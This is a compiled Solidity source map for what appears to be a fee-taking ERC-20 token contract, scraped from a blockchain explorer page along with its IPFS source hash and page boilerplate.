;;;;;;;;;;-1:-1:-1;13894:75:0;;;;-1:-1:-1;;;;;13894:75:0;;;;;;-1:-1:-1;;;;;3864:32:1;;;3846:51;;3834:2;3819:18;13894:75:0;3700:203:1;13745:62:0;;;;;;;;;;;;;;;;20586:142;;;;;;;;;;-1:-1:-1;20586:142:0;;;;;:::i;:::-;;:::i;11898:87::-;;;;;;;;;;-1:-1:-1;11971:6:0;;-1:-1:-1;;;;;11971:6:0;11898:87;;13976:69;;;;;;;;;;-1:-1:-1;13976:69:0;;;;-1:-1:-1;;;;;13976:69:0;;;19529:212;;;;;;;;;;-1:-1:-1;19529:212:0;;;;;:::i;:::-;;:::i;2769:104::-;;;;;;;;;;;;;:::i;19018:110::-;;;;;;;;;;-1:-1:-1;19018:110:0;;;;;:::i;:::-;;:::i;20736:112::-;;;;;;;;;;-1:-1:-1;20736:112:0;;;;;:::i;:::-;;:::i;6917:377::-;;;;;;;;;;-1:-1:-1;6917:377:0;;;;;:::i;:::-;;:::i;13459:19::-;;;;;;;;;;-1:-1:-1;13459:19:0;;;;-1:-1:-1;;;;;13459:19:0;;;4181:175;;;;;;;;;;-1:-1:-1;4181:175:0;;;;;:::i;:::-;;:::i;13814:66::-;;;;;;;;;;;;;;;;19753:114;;;;;;;;;;-1:-1:-1;19753:114:0;;;;;:::i;:::-;;:::i;20461:117::-;;;;;;;;;;-1:-1:-1;20461:117:0;;;;;:::i;:::-;;:::i;20257:118::-;;;;;;;;;;-1:-1:-1;20257:118:0;;;;;:::i;:::-;;:::i;20382:71::-;;;;;;;;;;;;20433:5;:13;;-1:-1:-1;;20433:13:0;;;20382:71;14360:49;;;;;;;;;;-1:-1:-1;14360:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4419:151;;;;;;;;;;-1:-1:-1;4419:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;4535:18:0;;;4508:7;4535:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4419:151;20111:134;;;;;;;;;;-1:-1:-1;20111:134:0;;;;;:::i;:::-;;:::i;12223:192::-;;;;;;;;;;-1:-1:-1;12223:192:0;;;;;:::i;:::-;;:::i;14210:37::-;;;;;;;;;;-1:-1:-1;14210:37:0;;;;;;;;;;;;13431:21;;;;;;;;;;-1:-1:-1;13431:21:0;;;;-1:-1:-1;;;;;13431:21:0;;;19315:206;;;;;;;;;;-1:-1:-1;19315:206:0;;;;;:::i;:::-;;:::i;19136:171::-;11971:6;;-1:-1:-1;;;;;11971:6:0;346:10;12033:23;12025:68;;;;-1:-1:-1;;;12025:68:0;;;;;;;:::i;:::-;;;;;;;;;19197:14:::1;::::0;-1:-1:-1;;;19197:14:0;::::1;;;19196:15;19188:50;;;::::0;-1:-1:-1;;;19188:50:0;;5272:2:1;19188:50:0::1;::::0;::::1;5254:21:1::0;5311:2;5291:18;;;5284:30;-1:-1:-1;;;5330:18:1;;;5323:52;5392:18;;19188:50:0::1;5070:346:1::0;19188:50:0::1;19249:14;:21:::0;;-1:-1:-1;;;;19281:18:0;-1:-1:-1;;;19281:18:0;;;19136:171::o;19997:106::-;11971:6;;-1:-1:-1;;;;;11971:6:0;346:10;12033:23;12025:68;;;;-1:-1:-1;;;12025:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;20073:14:0;;;::::1;;::::0;;;:5:::1;:14;::::0;;;;:22;;-1:-1:-1;;20073:22:0::1;::::0;::::1;;::::0;;;::::1;::::0;;19997:106::o;2550:100::-;2604:13;2637:5;2630:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2550:100;:::o;4717:169::-;4800:4;4817:39;346:10;4840:7;4849:6;4817:8;:39::i;:::-;-1:-1:-1;4874:4:0;4717:169;;;;;:::o;5368:422::-;5474:4;5491:36;5501:6;5509:9;5520:6;5491:9;:36::i;:::-;-1:-1:-1;;;;;5567:19:0;;5540:24;5567:19;;;:11;:19;;;;;;;;346:10;5567:33;;;;;;;;5619:26;;;;5611:79;;;;-1:-1:-1;;;5611:79:0;;6008:2:1;5611:79:0;;;5990:21:1;6047:2;6027:18;;;6020:30;6086:34;6066:18;;;6059:62;-1:-1:-1;;;6137:18:1;;;6130:38;6185:19;;5611:79:0;5806:404:1;5611:79:0;5701:57;5710:6;346:10;5732:25;5751:6;5732:16;:25;:::i;:::-;5701:8;:57::i;:::-;-1:-1:-1;5778:4:0;;5368:422;-1:-1:-1;;;;5368:422:0:o;20856:546::-;11971:6;;-1:-1:-1;;;;;11971:6:0;346:10;12033:23;12025:68;;;;-1:-1:-1;;;12025:68:0;;;;;;;:::i;:::-;20995:21:::1;21027:24;21044:6:::0;21027:16:::1;:24::i;:::-;21062:18;21083:35;21107:11:::0;21083:21:::1;:35;:::i;:::-;21062:56:::0;-1:-1:-1;21132:23:0;;21129:136:::1;;21157:108;21228:35;21244:19:::0;21228:13;:35:::1;:::i;:::-;21192:32;21205:19:::0;21192:10;:32:::1;:::i;:::-;:72;;;;:::i;:::-;21165:15;::::0;-1:-1:-1;;;;;21165:15:0::1;::::0;21157:34:::1;:108::i;:::-;21279:17:::0;;21276:118:::1;;21298:96;21357:35;21373:19:::0;21357:13;:35:::1;:::i;:::-;21327:26;21340:13:::0;21327:10;:26:::1;:::i;:::-;:66;;;;:::i;:::-;21306:9;::::0;-1:-1:-1;;;;;21306:9:0::1;::::0;21298:28:::1;:96::i;:::-;20962:440;;20856:546:::0;;;:::o;6199:215::-;346:10;6287:4;6336:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6336:34:0;;;;;;;;;;6287:4;;6304:80;;6327:7;;6336:47;;6373:10;;6336:47;:::i;18914:96::-;11971:6;;-1:-1:-1;;;;;11971:6:0;346:10;12033:23;12025:68;;;;-1:-1:-1;;;12025:68:0;;;;;;;:::i;:::-;18983:11:::1;:19:::0;;;::::1;;-1:-1:-1::0;;;18983:19:0::1;-1:-1:-1::0;;;;18983:19:0;;::::1;::::0;;;::::1;::::0;;18914:96::o;19881:108::-;11971:6;;-1:-1:-1;;;;;11971:6:0;346:10;12033:23;12025:68;;;;-1:-1:-1;;;12025:68:0;;;;;;;:::i;:::-;19960:9:::1;:21:::0;;-1:-1:-1;;;;;;19960:21:0::1;-1:-1:-1::0;;;;;19960:21:0;;;::::1;::::0;;;::::1;::::0;;19881:108::o;12121:94::-;11971:6;;-1:-1:-1;;;;;11971:6:0;346:10;12033:23;12025:68;;;;-1:-1:-1;;;12025:68:0;;;;;;;:::i;:::-;12186:21:::1;12204:1;12186:9;:21::i;:::-;12121:94::o:0;20586:142::-;11971:6;;-1:-1:-1;;;;;11971:6:0;346:10;12033:23;12025:68;;;;-1:-1:-1;;;12025:68:0;;;;;;;:::i;:::-;20681:12:::1;-1:-1:-1::0;;;;;20674:29:0::1;;20704:7;11971:6:::0;;-1:-1:-1;;;;;11971:6:0;;11898:87;20704:7:::1;20674:46;::::0;-1:-1:-1;;;;;;20674:46:0::1;::::0;;;;;;-1:-1:-1;;;;;7197:32:1;;;20674:46:0::1;::::0;::::1;7179:51:1::0;7246:18;;;7239:34;;;7152:18;;20674:46:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;20586:142:::0;;:::o;19529:212::-;11971:6;;-1:-1:-1;;;;;11971:6:0;346:10;12033:23;12025:68;;;;-1:-1:-1;;;12025:68:0;;;;;;;:::i;:::-;19644:35:::1;::::0;;::::1;::::0;::::1;::::0;;;;;::::1;::::0;::::1;::::0;;;;;;;19632:9:::1;:47:::0;;;;;;;;;;;19674:4;19703:23:::1;19662:10:::0;19650;19703:23:::1;:::i;:::-;:30;;;;:::i;:::-;19690:10;:43:::0;-1:-1:-1;;;19529:212:0:o;2769:104::-;2825:13;2858:7;2851:14;;;;;:::i;19018:110::-;11971:6;;-1:-1:-1;;;;;11971:6:0;346:10;12033:23;12025:68;;;;-1:-1:-1;;;12025:68:0;;;;;;;:::i;:::-;19094:13:::1;:26:::0;19018:110::o;20736:112::-;11971:6;;-1:-1:-1;;;;;11971:6:0;346:10;12033:23;12025:68;;;;-1:-1:-1;;;12025:68:0;;;;;;;:::i;:::-;20803:37:::1;20830:9;20811:7;11971:6:::0;;-1:-1:-1;;;;;11971:6:0;;11898:87;20811:7:::1;-1:-1:-1::0;;;;;20803:26:0::1;::::0;::::1;:37::i;:::-;20736:112:::0;:::o;6917:377::-;346:10;7010:4;7054:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;7054:34:0;;;;;;;;;;7107:35;;;;7099:85;;;;-1:-1:-1;;;7099:85:0;;7736:2:1;7099:85:0;;;7718:21:1;7775:2;7755:18;;;7748:30;7814:34;7794:18;;;7787:62;-1:-1:-1;;;7865:18:1;;;7858:35;7910:19;;7099:85:0;7534:401:1;7099:85:0;7195:67;346:10;7218:7;7227:34;7246:15;7227:16;:34;:::i;7195:67::-;-1:-1:-1;7282:4:0;;6917:377;-1:-1:-1;;;6917:377:0:o;4181:175::-;4267:4;4284:42;346:10;4308:9;4319:6;4284:9;:42::i;19753:114::-;11971:6;;-1:-1:-1;;;;;11971:6:0;346:10;12033:23;12025:68;;;;-1:-1:-1;;;12025:68:0;;;;;;;:::i;:::-;19832:15:::1;:27:::0;;-1:-1:-1;;;;;;19832:27:0::1;-1:-1:-1::0;;;;;19832:27:0;;;::::1;::::0;;;::::1;::::0;;19753:114::o;20461:117::-;11971:6;;-1:-1:-1;;;;;11971:6:0;346:10;12033:23;12025:68;;;;-1:-1:-1;;;12025:68:0;;;;;;;:::i;:::-;20555:15:::1;:6:::0;20564::::1;20555:15;:::i;:::-;20537;:33:::0;-1:-1:-1;20461:117:0:o;20257:118::-;11971:6;;-1:-1:-1;;;;;11971:6:0;346:10;12033:23;12025:68;;;;-1:-1:-1;;;12025:68:0;;;;;;;:::i;:::-;20352:15:::1;:6:::0;20361::::1;20352:15;:::i;:::-;20338:11;:29:::0;-1:-1:-1;20257:118:0:o;20111:134::-;11971:6;;-1:-1:-1;;;;;11971:6:0;346:10;12033:23;12025:68;;;;-1:-1:-1;;;12025:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;20203:26:0;;;::::1;;::::0;;;:16:::1;:26;::::0;;;;:34;;-1:-1:-1;;20203:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;20111:134::o;12223:192::-;11971:6;;-1:-1:-1;;;;;11971:6:0;346:10;12033:23;12025:68;;;;-1:-1:-1;;;12025:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12312:22:0;::::1;12304:73;;;::::0;-1:-1:-1;;;12304:73:0;;8142:2:1;12304:73:0::1;::::0;::::1;8124:21:1::0;8181:2;8161:18;;;8154:30;8220:34;8200:18;;;8193:62;-1:-1:-1;;;8271:18:1;;;8264:36;8317:19;;12304:73:0::1;7940:402:1::0;12304:73:0::1;12388:19;12398:8;12388:9;:19::i;19315:206::-:0;11971:6;;-1:-1:-1;;;;;11971:6:0;346:10;12033:23;12025:68;;;;-1:-1:-1;;;12025:68:0;;;;;;;:::i;:::-;19428:35:::1;::::0;;::::1;::::0;::::1;::::0;;;;;::::1;::::0;::::1;::::0;;;;;;;19420:5:::1;:43:::0;;;;;;;;;;;19458:4;19483:23:::1;19446:10:::0;19434;19483:23:::1;:::i;:::-;:30;;;;:::i;:::-;19474:6;:39:::0;-1:-1:-1;;;19315:206:0:o;10273:346::-;-1:-1:-1;;;;;10375:19:0;;10367:68;;;;-1:-1:-1;;;10367:68:0;;8549:2:1;10367:68:0;;;8531:21:1;8588:2;8568:18;;;8561:30;8627:34;8607:18;;;8600:62;-1:-1:-1;;;8678:18:1;;;8671:34;8722:19;;10367:68:0;8347:400:1;10367:68:0;-1:-1:-1;;;;;10454:21:0;;10446:68;;;;-1:-1:-1;;;10446:68:0;;8954:2:1;10446:68:0;;;8936:21:1;8993:2;8973:18;;;8966:30;9032:34;9012:18;;;9005:62;-1:-1:-1;;;9083:18:1;;;9076:32;9125:19;;10446:68:0;8752:398:1;10446:68:0;-1:-1:-1;;;;;10527:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10579:32;;806:25:1;;;10579:32:0;;779:18:1;10579:32:0;;;;;;;10273:346;;;:::o;15185:1424::-;15301:1;15292:6;:10;15284:64;;;;-1:-1:-1;;;15284:64:0;;9357:2:1;15284:64:0;;;9339:21:1;9396:2;9376:18;;;9369:30;9435:34;9415:18;;;9408:62;-1:-1:-1;;;9486:18:1;;;9479:39;9535:19;;15284:64:0;9155:405:1;15284:64:0;-1:-1:-1;;;;;15368:13:0;;;;;;:5;:13;;;;;;;;15367:14;:35;;;;-1:-1:-1;;;;;;15386:16:0;;;;;;:5;:16;;;;;;;;15385:17;15367:35;15359:73;;;;-1:-1:-1;;;15359:73:0;;9767:2:1;15359:73:0;;;9749:21:1;9806:2;9786:18;;;9779:30;9845:27;9825:18;;;9818:55;9890:18;;15359:73:0;9565:349:1;15359:73:0;-1:-1:-1;;;;;15475:24:0;;;;;;:16;:24;;;;;;;;15474:25;:57;;;;-1:-1:-1;;;;;;15504:27:0;;;;;;:16;:27;;;;;;;;15503:28;15474:57;:70;;;;-1:-1:-1;15536:8:0;;-1:-1:-1;;;15536:8:0;;;;15535:9;15474:70;15471:392;;;15568:14;;-1:-1:-1;;;15568:14:0;;;;15560:49;;;;-1:-1:-1;;;15560:49:0;;10121:2:1;15560:49:0;;;10103:21:1;10160:2;10140:18;;;10133:30;-1:-1:-1;;;10179:18:1;;;10172:52;10241:18;;15560:49:0;9919:346:1;15560:49:0;15642:11;;15632:6;:21;;15624:63;;;;-1:-1:-1;;;15624:63:0;;10472:2:1;15624:63:0;;;10454:21:1;10511:2;10491:18;;;10484:30;10550:31;10530:18;;;10523:59;10599:18;;15624:63:0;10270:353:1;15624:63:0;15718:4;;-1:-1:-1;;;;;15705:17:0;;;15718:4;;15705:17;15702:150;;15783:15;;15773:6;15750:20;15760:9;-1:-1:-1;;;;;3942:18:0;3915:7;3942:18;;;;;;;;;;;;3841:127;15750:20;:29;;;;:::i;:::-;:48;;15742:94;;;;-1:-1:-1;;;15742:94:0;;10830:2:1;15742:94:0;;;10812:21:1;10869:2;10849:18;;;10842:30;10908:34;10888:18;;;10881:62;-1:-1:-1;;;10959:18:1;;;10952:31;11000:19;;15742:94:0;10628:397:1;15742:94:0;15982:8;;15875:11;;-1:-1:-1;;;15982:8:0;;;;;:36;;-1:-1:-1;;;;;;15994:24:0;;;;;;:16;:24;;;;;;;;15982:36;:67;;;-1:-1:-1;;;;;;16022:27:0;;;;;;:16;:27;;;;;;;;15982:67;15978:305;;;-1:-1:-1;16057:1:0;15978:305;;;16139:4;;-1:-1:-1;;;;;16139:4:0;;;16126:17;;;;16123:148;;16175:5;;16207:3;;16175:5;;:13;;:5;:13;:28;;16200:3;16175:28;;;16189:10;;16175:28;16165:39;;:6;:39;:::i;:::-;:45;;;;:::i;:::-;16159:51;;16123:148;;;16268:3;16259:6;;16250;:15;;;;:::i;:::-;:21;;;;:::i;:::-;16244:27;;16123:148;16404:11;;-1:-1:-1;;;16404:11:0;;;;:24;;;;-1:-1:-1;16420:8:0;;-1:-1:-1;;;16420:8:0;;;;16419:9;16404:24;:42;;;;-1:-1:-1;16442:4:0;;-1:-1:-1;;;;;16432:14:0;;;16442:4;;16432:14;;16404:42;:53;;;;;16456:1;16450:3;:7;16404:53;16400:72;;;16459:13;:11;:13::i;:::-;16485:48;16501:6;16509:9;16520:12;16529:3;16520:6;:12;:::i;:::-;16485:15;:48::i;:::-;16547:7;;16544:55;;16556:43;16572:6;16588:4;16595:3;16556:15;:43::i;:::-;15273:1336;15185:1424;;;:::o;18001:400::-;18091:16;;;18105:1;18091:16;;;;;;;;18067:21;;18091:16;;;;;;;;;;-1:-1:-1;18091:16:0;18067:40;;18136:4;18118;18123:1;18118:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;18118:23:0;;;:7;;;;;;;;;;:23;;;;18162:6;;:13;;;-1:-1:-1;;;18162:13:0;;;;:6;;;;;:11;;:13;;;;;18118:7;;18162:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18152:4;18157:1;18152:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;18152:23:0;;;:7;;;;;;;;;:23;18220:6;;18188:53;;18205:4;;18220:6;18229:11;18188:8;:53::i;:::-;18280:6;;:111;;-1:-1:-1;;;18280:111:0;;-1:-1:-1;;;;;18280:6:0;;;;:57;;:111;;18338:11;;18280:6;;18354:4;;18368;;18375:15;;18280:111;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18056:345;18001:400;:::o;11343:317::-;11458:6;11433:21;:31;;11425:73;;;;-1:-1:-1;;;11425:73:0;;12737:2:1;11425:73:0;;;12719:21:1;12776:2;12756:18;;;12749:30;12815:31;12795:18;;;12788:59;12864:18;;11425:73:0;12535:353:1;11425:73:0;11512:12;11530:9;-1:-1:-1;;;;;11530:14:0;11552:6;11530:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11511:52;;;11582:7;11574:78;;;;-1:-1:-1;;;11574:78:0;;13305:2:1;11574:78:0;;;13287:21:1;13344:2;13324:18;;;13317:30;13383:34;13363:18;;;13356:62;13454:28;13434:18;;;13427:56;13500:19;;11574:78:0;13103:422:1;12423:173:0;12498:6;;;-1:-1:-1;;;;;12515:17:0;;;-1:-1:-1;;;;;;12515:17:0;;;;;;;12548:40;;12498:6;;;12515:17;12498:6;;12548:40;;12479:16;;12548:40;12468:128;12423:173;:::o;16617:1374::-;14501:8;;-1:-1:-1;;;14501:8:0;;;;14496:104;;14526:8;:15;;-1:-1:-1;;;;14526:15:0;-1:-1:-1;;;14526:15:0;;;16710:4:::1;-1:-1:-1::0;3942:18:0;;;;;;;;;;;16666:50:::1;;16750:13;;16731:15;:32;16727:1257;;16837:19;16859:10;;16872:1;16859:14;;;;:::i;:::-;16837:36;;16888:32;16963:11;16941:9;:19;;;16923:15;:37;;;;:::i;:::-;:51;;;;:::i;:::-;16888:86:::0;-1:-1:-1;16989:14:0::1;17006:42;16888:86:::0;17006:15;:42:::1;:::i;:::-;16989:59:::0;-1:-1:-1;17094:21:0::1;17136:24;16989:59:::0;17136:16:::1;:24::i;:::-;17181:20;17204:38;17228:14:::0;17204:21:::1;:38;:::i;:::-;17308:19:::0;;17181:61;;-1:-1:-1;17257:19:0::1;::::0;17294:33:::1;::::0;:11;:33:::1;:::i;:::-;17278:50;::::0;:12;:50:::1;:::i;:::-;17389:19:::0;;17257:71;;-1:-1:-1;17343:29:0::1;::::0;17375:33:::1;::::0;17257:71;17375:33:::1;:::i;:::-;17343:65:::0;-1:-1:-1;17432:25:0;;17429:170:::1;;17522:61;17535:24;17561:21;17522:12;:61::i;:::-;17660:9;:19:::0;17619:20:::1;::::0;17642:15:::1;:11:::0;17656:1:::1;17642:15;:::i;:::-;:37;;;;:::i;:::-;17619:60:::0;-1:-1:-1;17697:16:0;;17694:103:::1;;17741:15;::::0;17733:48:::1;::::0;-1:-1:-1;;;;;17741:15:0::1;17768:12:::0;17733:34:::1;:48::i;:::-;17860:13:::0;;17825:14:::1;::::0;17842:15:::1;:11:::0;17860:13:::1;17842:15;:::i;:::-;:31;;;;:::i;:::-;17825:48:::0;-1:-1:-1;17891:10:0;;17888:85:::1;;17929:9;::::0;17921:36:::1;::::0;-1:-1:-1;;;;;17929:9:0::1;17950:6:::0;17921:28:::1;:36::i;:::-;16765:1219;;;;;;;;;16727:1257;-1:-1:-1::0;14572:8:0;:16;;-1:-1:-1;;;;14572:16:0;;;16617:1374::o;7784:604::-;-1:-1:-1;;;;;7890:20:0;;7882:70;;;;-1:-1:-1;;;7882:70:0;;13732:2:1;7882:70:0;;;13714:21:1;13771:2;13751:18;;;13744:30;13810:34;13790:18;;;13783:62;-1:-1:-1;;;13861:18:1;;;13854:35;13906:19;;7882:70:0;13530:401:1;7882:70:0;-1:-1:-1;;;;;7971:23:0;;7963:71;;;;-1:-1:-1;;;7963:71:0;;14138:2:1;7963:71:0;;;14120:21:1;14177:2;14157:18;;;14150:30;14216:34;14196:18;;;14189:62;-1:-1:-1;;;14267:18:1;;;14260:33;14310:19;;7963:71:0;13936:399:1;7963:71:0;-1:-1:-1;;;;;8131:17:0;;8107:21;8131:17;;;;;;;;;;;8167:23;;;;8159:74;;;;-1:-1:-1;;;8159:74:0;;14542:2:1;8159:74:0;;;14524:21:1;14581:2;14561:18;;;14554:30;14620:34;14600:18;;;14593:62;-1:-1:-1;;;14671:18:1;;;14664:36;14717:19;;8159:74:0;14340:402:1;8159:74:0;8264:22;8280:6;8264:13;:22;:::i;:::-;-1:-1:-1;;;;;8244:17:0;;;:9;:17;;;;;;;;;;;:42;;;;8297:20;;;;;;;;:30;;8321:6;;8244:9;8297:30;;8321:6;;8297:30;:::i;:::-;;;;;;;;8362:9;-1:-1:-1;;;;;8345:35:0;8354:6;-1:-1:-1;;;;;8345:35:0;;8373:6;8345:35;;;;806:25:1;;794:2;779:18;;660:177;8345:35:0;;;;;;;;7871:517;7784:604;;;:::o;18409:497::-;18589:6;;18557:53;;18574:4;;-1:-1:-1;;;;;18589:6:0;18598:11;18557:8;:53::i;:::-;18653:6;;18848:9;;18653:245;;-1:-1:-1;;;18653:245:0;;18716:4;18653:245;;;15088:34:1;15138:18;;;15131:34;;;18653:6:0;15181:18:1;;;15174:34;;;15224:18;;;15217:34;-1:-1:-1;;;;;18848:9:0;;;15267:19:1;;;15260:44;18872:15:0;15320:19:1;;;15313:35;18653:6:0;;;:22;;18683:9;;15022:19:1;;18653:245:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;14:131:1:-;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;150:118;236:5;229:13;222:21;215:5;212:32;202:60;;258:1;255;248:12;273:382;338:6;346;399:2;387:9;378:7;374:23;370:32;367:52;;;415:1;412;405:12;367:52;454:9;441:23;473:31;498:5;473:31;:::i;:::-;523:5;-1:-1:-1;580:2:1;565:18;;552:32;593:30;552:32;593:30;:::i;:::-;642:7;632:17;;;273:382;;;;;:::o;842:548::-;954:4;983:2;1012;1001:9;994:21;1044:6;1038:13;1087:6;1082:2;1071:9;1067:18;1060:34;1112:1;1122:140;1136:6;1133:1;1130:13;1122:140;;;1231:14;;;1227:23;;1221:30;1197:17;;;1216:2;1193:26;1186:66;1151:10;;1122:140;;;1126:3;1311:1;1306:2;1297:6;1286:9;1282:22;1278:31;1271:42;1381:2;1374;1370:7;1365:2;1357:6;1353:15;1349:29;1338:9;1334:45;1330:54;1322:62;;;;842:548;;;;:::o;1395:315::-;1463:6;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1579:9;1566:23;1598:31;1623:5;1598:31;:::i;:::-;1648:5;1700:2;1685:18;;;;1672:32;;-1:-1:-1;;;1395:315:1:o;1907:456::-;1984:6;1992;2000;2053:2;2041:9;2032:7;2028:23;2024:32;2021:52;;;2069:1;2066;2059:12;2021:52;2108:9;2095:23;2127:31;2152:5;2127:31;:::i;:::-;2177:5;-1:-1:-1;2234:2:1;2219:18;;2206:32;2247:33;2206:32;2247:33;:::i;:::-;1907:456;;2299:7;;-1:-1:-1;;;2353:2:1;2338:18;;;;2325:32;;1907:456::o;2368:316::-;2445:6;2453;2461;2514:2;2502:9;2493:7;2489:23;2485:32;2482:52;;;2530:1;2527;2520:12;2482:52;-1:-1:-1;;2553:23:1;;;2623:2;2608:18;;2595:32;;-1:-1:-1;2674:2:1;2659:18;;;2646:32;;2368:316;-1:-1:-1;2368:316:1:o;2878:247::-;2937:6;2990:2;2978:9;2969:7;2965:23;2961:32;2958:52;;;3006:1;3003;2996:12;2958:52;3045:9;3032:23;3064:31;3089:5;3064:31;:::i;:::-;3114:5;2878:247;-1:-1:-1;;;2878:247:1:o;3130:241::-;3186:6;3239:2;3227:9;3218:7;3214:23;3210:32;3207:52;;;3255:1;3252;3245:12;3207:52;3294:9;3281:23;3313:28;3335:5;3313:28;:::i;3908:180::-;3967:6;4020:2;4008:9;3999:7;3995:23;3991:32;3988:52;;;4036:1;4033;4026:12;3988:52;-1:-1:-1;4059:23:1;;3908:180;-1:-1:-1;3908:180:1:o;4093:388::-;4161:6;4169;4222:2;4210:9;4201:7;4197:23;4193:32;4190:52;;;4238:1;4235;4228:12;4190:52;4277:9;4264:23;4296:31;4321:5;4296:31;:::i;:::-;4346:5;-1:-1:-1;4403:2:1;4388:18;;4375:32;4416:33;4375:32;4416:33;:::i;4709:356::-;4911:2;4893:21;;;4930:18;;;4923:30;4989:34;4984:2;4969:18;;4962:62;5056:2;5041:18;;4709:356::o;5421:380::-;5500:1;5496:12;;;;5543;;;5564:61;;5618:4;5610:6;5606:17;5596:27;;5564:61;5671:2;5663:6;5660:14;5640:18;5637:38;5634:161;;5717:10;5712:3;5708:20;5705:1;5698:31;5752:4;5749:1;5742:15;5780:4;5777:1;5770:15;5634:161;;5421:380;;;:::o;6215:127::-;6276:10;6271:3;6267:20;6264:1;6257:31;6307:4;6304:1;6297:15;6331:4;6328:1;6321:15;6347:128;6414:9;;;6435:11;;;6432:37;;;6449:18;;:::i;6480:125::-;6545:9;;;6566:10;;;6563:36;;;6579:18;;:::i;6610:168::-;6683:9;;;6714;;6731:15;;;6725:22;;6711:37;6701:71;;6752:18;;:::i;6783:217::-;6823:1;6849;6839:132;;6893:10;6888:3;6884:20;6881:1;6874:31;6928:4;6925:1;6918:15;6956:4;6953:1;6946:15;6839:132;-1:-1:-1;6985:9:1;;6783:217::o;7284:245::-;7351:6;7404:2;7392:9;7383:7;7379:23;7375:32;7372:52;;;7420:1;7417;7410:12;7372:52;7452:9;7446:16;7471:28;7493:5;7471:28;:::i;11162:127::-;11223:10;11218:3;11214:20;11211:1;11204:31;11254:4;11251:1;11244:15;11278:4;11275:1;11268:15;11294:251;11364:6;11417:2;11405:9;11396:7;11392:23;11388:32;11385:52;;;11433:1;11430;11423:12;11385:52;11465:9;11459:16;11484:31;11509:5;11484:31;:::i;11550:980::-;11812:4;11860:3;11849:9;11845:19;11891:6;11880:9;11873:25;11917:2;11955:6;11950:2;11939:9;11935:18;11928:34;11998:3;11993:2;11982:9;11978:18;11971:31;12022:6;12057;12051:13;12088:6;12080;12073:22;12126:3;12115:9;12111:19;12104:26;;12165:2;12157:6;12153:15;12139:29;;12186:1;12196:195;12210:6;12207:1;12204:13;12196:195;;;12275:13;;-1:-1:-1;;;;;12271:39:1;12259:52;;12366:15;;;;12331:12;;;;12307:1;12225:9;12196:195;;;-1:-1:-1;;;;;;;12447:32:1;;;;12442:2;12427:18;;12420:60;-1:-1:-1;;;12511:3:1;12496:19;12489:35;12408:3;11550:980;-1:-1:-1;;;11550:980:1:o;15359:306::-;15447:6;15455;15463;15516:2;15504:9;15495:7;15491:23;15487:32;15484:52;;;15532:1;15529;15522:12;15484:52;15561:9;15555:16;15545:26;;15611:2;15600:9;15596:18;15590:25;15580:35;;15655:2;15644:9;15640:18;15634:25;15624:35;;15359:306;;;;;:::o
Swarm Source
ipfs://3a6103f67ff3255f50ba699c060b0f38a8baeaa0b32a9f5bb3e119c011de8728
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 26 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.